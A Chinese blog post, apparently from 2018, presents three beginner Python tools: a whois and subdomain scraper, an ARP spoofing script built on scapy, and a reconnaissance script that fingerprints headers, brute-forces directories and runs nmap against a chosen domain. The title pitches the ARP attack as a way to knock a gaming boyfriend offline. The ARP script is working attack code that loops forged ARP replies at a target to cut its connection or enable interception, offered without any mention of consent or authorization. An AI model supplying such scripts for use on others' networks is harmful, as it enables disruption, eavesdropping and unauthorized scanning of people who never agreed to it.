美文网首页Python新世界
如果你的男友只顾着打游戏!断网攻击了解一下?Python工具已备

如果你的男友只顾着打游戏!断网攻击了解一下?Python工具已备

作者: 919b0c54458f | 来源:发表于2018-10-08 10:17 被阅读16次

前言

为了满足新手对Python的追求,特写了三个初级Python入门工具。第一期写了三个初级工具,希望新手看完以后可以对Python的脚本有一个基本了解。高手请绕过此文章!

一件套 pythond requests模块构造一个whois信息收集器 二件套 python编写一个arp断网攻击 三件套 目录信息收集

进群:548377875  即可获取数十套PDF哦!

一件套前言: 带给想写项目但无从下手的朋友们,这些脚本都比较容易理解。

简单梳理一下此工具需要具备哪些功能。脚本获取信息如下:

IP信息

子域名

备案

注册人

邮箱

地址

电话

DNS

具体操作如下:

我们要用到的模块是requests

python环境:py3

安装方法:pip install requests或python steup.py install

通过http://site.ip138.com来进行查询

http://site.ip138.com/输入你要查询的域名/domain.html #这个目录用于查询IP解析记录

htp://site.ip138.com/输入你要查询的域名/beian.html #这个用于查询子域名

http://site.ip138.com/输入你要查询的域名/whois.html #这个用于进行whois查询

好了现在我们开始构造我们的代码,代码里面有详细的注释

#首先我们要导入requests模块和bs4模块里的BeautifulSoup和time模块

import requests

import time

from bs4 import BeautifulSoup

#设置好开始时间点

strat=time.time()

def chax():

#询问用户要查询的域名

lid=input('请输入你要查询的域名:')

#设置浏览器头过反爬

head={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}

#设置好url

url="http://site.ip138.com/{}/".format(lid)

urldomain="http://site.ip138.com/{}/domain.htm".format(lid)

url2="http://site.ip138.com/{}/beian.htm".format(lid)

url3="http://site.ip138.com/{}/whois.htm".format(lid)

#打开网页

rb=requests.get(url,headers=head)

rb1=requests.get(urldomain,headers=head)

rb2=requests.get(url2,headers=head)

rb3=requests.get(url3,headers=head)

#获取内容并用html的方式返回

gf=BeautifulSoup(rb.content,'html.parser')

print('[+]IP解析记录')

#读取内容里的p标签

for x in gf.find_all('p'):

#使用text的内容返回

link=x.get_text()

print(link)

gf1=BeautifulSoup(rb1.content,'html.parser')

print('[+]子域名查询')

for v in gf1.find_all('p'):

link2=v.get_text()

print(link2)

gf2=BeautifulSoup(rb2.content,'html.parser')

print('[+]备案查询')

for s in gf2.find_all('p'):

link3=s.get_text()

print(link3)

gf3=BeautifulSoup(rb3.content,'html.parser')

print('[+]whois查询')

for k in gf3.find_all('p'):

link4=k.get_text()

print(link4)

chax()

end=time.time()

print('查询耗时:',end-strat)

二件套: 使用python编写一个arp断网攻击 2.介绍scapy模块

3.安装scanpy模块

4.编写arp攻击的脚本

你们知道arp攻击的原理吗?如果不知道不要紧,下面开始介绍:

arp攻击原理:通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者

只要持续不断发送arp包就能造成中间人攻击或者断网攻击。(PS:我们只需要scapy里的一些参数就可以实现)

scapy介绍: Scapy是一个Python程序,使用户能够发送,嗅探和剖析和伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

换句话说,Scapy是一个功能强大的交互式数据包处理程序。它能够伪造或解码大量协议的数据包,在线上发送,捕获,匹配请求和回复等等。Scapy可以轻松处理大多数经典任务,如扫描,追踪,探测,单元测试,攻击或网络发现。它可以替代hping,arpspoof,arp-sk,arping,pf,甚至是Nmap,tcpdump和tshark的某些部分。scapy的一个小例子:

ps:scapy正确的食用手册请认真看完介绍和部分基础:https://phaethon.github.io/scapy/api/introduction.html

安装scapy:

py2安装方法:

pip install scapy

py3安装方法:

pip install scapy3

更多的安装方法:https://phaethon.github.io/scapy/api/installation.html

我的系统环境是:Kali Linux下

各位读者可以考虑一些使用以下系统环境:

Centos

Ubuntu

Mac os

ps:尽量不要使用windows,windows会报错!

缺少windows.dll,具体这个dll安装后会不会又报错官方没给出答复

编写攻击的脚本: Ether是构造网络数据包 ARP进行ARP攻击 sendp进行发包

import os

import sys

from scapy.layers.l2 import getmacbyip

from scapy.all import (

Ether,

ARP,

sendp

)

#执行查看IP的命令

ifconfig=os.system('ifconfig')

print ifconfig

gmac=raw_input('Please enter gateway IP:')

liusheng=raw_input('Please enter your IP:')

liusrc=raw_input('Please enter target IP:')

try:

#获取目标的mac

tg=getmacbyip(liusrc)

print tg

except Exception , f:

print '[-]{}'.format(f)

exit()

def arpspoof():

try:

eth=Ether()

arp=ARP(

op="is-at", #arp响应

hwsrc=gmac, #网关mac

psrc=liusheng,#网关IP

hwdst=tg,#目标Mac

pdst=liusrc#目标IP

)

#对配置进行输出

print ((eth/arp).show())

#开始发包

sendp(eth/arp,inter=2,loop=1)

except Exception ,g:

print '[-]{}'.format(g)

exit()

arpspoof()

从受害者角度看

三件套: 俗话说的话想要挖web漏洞就必须做好前面的信息收集 下面我们来写一个收集信息的脚本。

准备:

安装好requests,bs4模块: pip install requests pip install bs4 或者去下载好对应的模块压缩包 然后找到steup.py执行python steup.py install

思路: 使用requests.headers()获取http头部信息 通过htp响应码来判断robots是否存在 通过http响应码判断存在的目录 通过nmap判断开放的端口(PS:这里我是使用os模块来进行nmap命令扫描)我这边的nmap模块一调用,nmap就会出现停止运行 通过爬取某网站获得对应的whois,IP反查域名的信息。

开始:

import requests

import os

import socket

from bs4 import BeautifulSoup

import time

#获取http指纹

def Webfingerprintcollection():

global lgr

lgr=input('请输入目标域名:')

url="http://{}".format(lgr)

header={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}

r=requests.get(url,headers=header)

xyt=r.headers

for key in xyt:

print(key,':',xyt[key])

Webfingerprintcollection()

print('================================================')

#判断有无robots.txt

def robots():

urlsd="http://{}/robots.txt".format(lgr)

header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}

gf=requests.get(urlsd,headers=header,timeout=8)

if gf.status_code == 200:

print('robots.txt存在')

print('[+]该站存在robots.txt',urlsd)

else:

print('[-]没有robots.txt')

robots()

print("=================================================")

#目录扫描

def Webdirectoryscanner():

dict=open('build.txt','r',encoding='utf-8').read().split('')

for xyt in dict:

try:

header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}

urljc="http://"+lgr+"{}".format(xyt)

rvc=requests.get(urljc,headers=header,timeout=8)

if rvc.status_code == 200:

print('[*]',urljc)

except:

print('[-]远程主机强迫关闭了一个现有的连接')

Webdirectoryscanner()

print("=====================================================")

s = socket.gethostbyname(lgr)

#端口扫描

def portscanner():

o=os.system('nmap {} program'.format(s))

print(o)

portscanner()

print('======================================================')

#whois查询

def whois():

heads={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}

urlwhois="http://site.ip138.com/{}/whois.htm".format(lgr)

rvt=requests.get(urlwhois,headers=heads)

bv=BeautifulSoup(rvt.content,"html.parser")

for line in bv.find_all('p'):

link=line.get_text()

print(link)

whois()

print('======================================================')

#IP反查域名

def IPbackupdomainname():

wu=socket.gethostbyname(lgr)

rks="http://site.ip138.com/{}/".format(wu)

rod={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}

sjk=requests.get(rks,headers=rod)

liverou=BeautifulSoup(sjk.content,'html.parser')

for low in liverou.find_all('li'):

bc=low.get_text()

print(bc)

IPbackupdomainname()

print('=======================================================')

相关文章

网友评论

    本文标题:如果你的男友只顾着打游戏!断网攻击了解一下?Python工具已备

    本文链接:https://www.haomeiwen.com/subject/sfydaftx.html